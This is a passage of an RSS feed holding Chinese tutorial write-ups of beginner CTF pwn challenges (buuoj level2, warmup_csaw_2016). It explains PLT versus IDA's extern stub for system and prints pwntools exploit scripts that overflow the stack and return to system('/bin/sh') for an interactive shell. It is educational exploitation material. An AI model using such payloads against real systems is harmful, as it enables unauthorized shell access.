rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">27491</span></span><span leaf="">)</span><span leaf="">pause()</span><span leaf="">p.sendline(payload)</span><span leaf="">p.interactive()</span></code></pre><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.8379629629629629" data-s="300,640" data-type="png" data-w="1080" style="height: auto !important;" type="block" data-imgfileid="100000720" src="https://wechat2rss.xlab.app/img-proxy/?k=f091d8a6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPffjzFyqHHS6zX8k1D79wqjsOnKa3UGlLEAUO5HGCqqf3DdlKhrJ50O8MjFEmCnrWqiaIRcBqmr6QQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 data-heading="true" style="box-sizing: border-box;border-width: 0px 0px 0px 3px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(229, 229, 229) rgb(159, 38, 56);font-size: 15.4px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 8px;color: rgb(63, 63, 63);"><span leaf="">2.2 方式二：跳到system定义处</span></h3><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" data-pm-slice="4 3 []"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(159, 38, 56);"><span leaf="">在程序里我们会看到有两个 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">system</span></code><span leaf="">：一个出现在 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(159, 38, 56);"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">.plt</span></code><span leaf=""> 段</span></strong><span leaf="">，另一个在 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(159, 38, 56);"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">extern</span></code><span leaf=""> 段</span></strong><span leaf="">。我们该用哪个呢？</span></strong></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">答：真正能用的只有 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">.plt</span></code><span leaf=""> 里的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">system</span></code><span leaf="">。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.30462962962962964" data-s="300,640" data-type="png" data-w="1080" style="height: auto !important;" type="block" data-imgfileid="100000721" src="https://wechat2rss.xlab.app/img-proxy/?k=2c5c0b27&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPffjzFyqHHS6zX8k1D79wqjkGFxeCrEHVBnphnx4t72HfhQwUCU81lKo4nyrD8XnQcNuiao4LegS6w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">原因是：</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">.plt</span></code><span leaf=""> 段里的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">system</span></code><span leaf=""> 是程序调用外部函数时的跳板入口，执行时会正确跳转到 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">glibc</span></code><span leaf=""> 里的实现。而 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">extern</span></code><span leaf=""> 段只是 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(159, 38, 56);"><span leaf="">IDA 自己生成的“占位符”（虚拟出来的段）</span></strong><span leaf="">，用来表示“这里依赖了外部的 system 函数，但没在本地定义”。它对应的地址（例如 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">0x0804A038</span></code><span leaf="">）并不是真实可执行的地址。</span></p></div><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">func define方式栈内存布局</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;margin: 10px 8px;background: rgb(35, 36, 31);color: rgb(248, 248, 242);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 11.34px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span leaf="">Param n</span><span leaf="">Param n-1</span><span leaf="">...</span><span leaf="">Param 1</span><span leaf="">ret addr</span><span leaf="">old_rbp</span><span leaf="">...</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">payload = &#39;A&#39; * offset  + system定义处地址 + 函数返回地址 + 参数1</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">因为执行完</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">system(&#39;/bin/sh&#39;)</span></code><span leaf="">后，我们的目的已经达成，至于后续跳转到什么地方无所谓。所以函数返回地址可以任意，这里设置为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">0</span></code><span leaf="">。</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;margin: 10px 8px;background: rgb(35, 36, 31);color: rgb(248, 248, 242);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 11.34px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">from</span></span><span leaf=""> pwn </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf="">* </span><span leaf="">p = remote(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">&#39;node4.buuoj.cn&#39;</span></span><span leaf="">,</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">28084</span></span><span leaf="">)</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(117, 113, 94);"><span leaf="">#p=process(&#39;./level2&#39;) </span></span><span leaf="">str_bin_sh_addr = </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">0x0804a024</span></span><span leaf="">system_define_addr = </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">0x08048320</span></span><span leaf=""> </span><span leaf="">p.recvuntil(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">&#39;Input:\n&#39;</span></span><span leaf="">)</span><span leaf="">payload = </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">b&#39;A&#39;</span></span><span leaf=""> * (</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">0x88</span></span><span leaf=""> + </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">0x04</span></span><span leaf="">) + p32(system_define_addr) + p32(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">0</span></span><span leaf="">) + p32(str_bin_sh_addr) </span><span leaf="">p.sendline(payload)</span><span leaf="">p.interactive()</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;"><span leaf=""> </span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247484377">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=bf6a4dbc&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjA4MTQ1NQ%3D%3D%26mid%3D2247484377%26idx%3D1%26sn%3D985d43f8742fd8c3260acf32afc49ceb">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 27 Aug 2025 11:30:00 +0800</pubDate>
    </item>
    <item>
      <title>从零开始学PWN学02：标准输出与回显</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjA4MTQ1NQ==&amp;mid=2247484362&amp;idx=1&amp;sn=d8750d5f5c62412a52e43da95e3b51f3</link>
      <description>重新理解标准输出和回显</description>
      <content:encoded><![CDATA[<p>
原创 <span>c0ny1</span> <span>2025-06-03 09:00</span> <span style="display: inline-block;">中国香港</span>
</p>

<p>重新理解标准输出和回显</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=ca97522e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F075AT6bRmPcpXxGtJ5KE20dvYicEntibC7xEn9yTj40Uqxw25jUU2lXx1JgY4WkiaW5UjRdor2zxarTBL8ZpzYAAQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;" data-pm-slice="0 0 []"><span leaf=""> </span></p><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 16.8px;font-weight: bold;margin: 0px auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0px 0.2em;color: rgb(255, 255, 255);background: rgb(159, 38, 56);"><span leaf="">0x01 warmup_csaw_2016</span></h2><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">通过 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">gets</span></p><span leaf=""> 函数的栈溢出覆盖 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">main</span></p><span leaf=""> 函数的返回地址，使程序流程跳转至 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">sub_40060D</span></p><span leaf=""> 函数内的地址 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">0x40060E</span></p><span leaf="">。</span></div><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000703" data-ratio="0.45665961945031713" data-s="300,640" data-type="png" data-w="946" style="height: auto !important;" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=7d7bf461&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPcpXxGtJ5KE20dvYicEntibC7tRRfu7tA4b35j9OyoHjWicjxKA1Zia3jMj3qicINq65v2G4qIYNhddtZQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">之所以跳转至 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">0x40060E</span></p><span leaf=""> 而不是函数入口，是因为 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">system</span></p><span leaf=""> 函数在调用前会检查栈顶地址是否 16 字节对齐（这一点在上一篇文章中已有说明）。</span></div><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000699" data-ratio="0.39351851851851855" data-s="300,640" data-type="png" data-w="1080" style="height: auto !important;" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=4e941fe9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPcpXxGtJ5KE20dvYicEntibC79ibfmRwLwGxuTQ7wgcia8wRqOLY0Ocy9tfMeoAxQTwtqtWN8iaSMw0ZQA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;margin: 10px 8px;background: rgb(35, 36, 31);color: rgb(248, 248, 242);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 11.34px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">from</span></span><span leaf=""> pwn 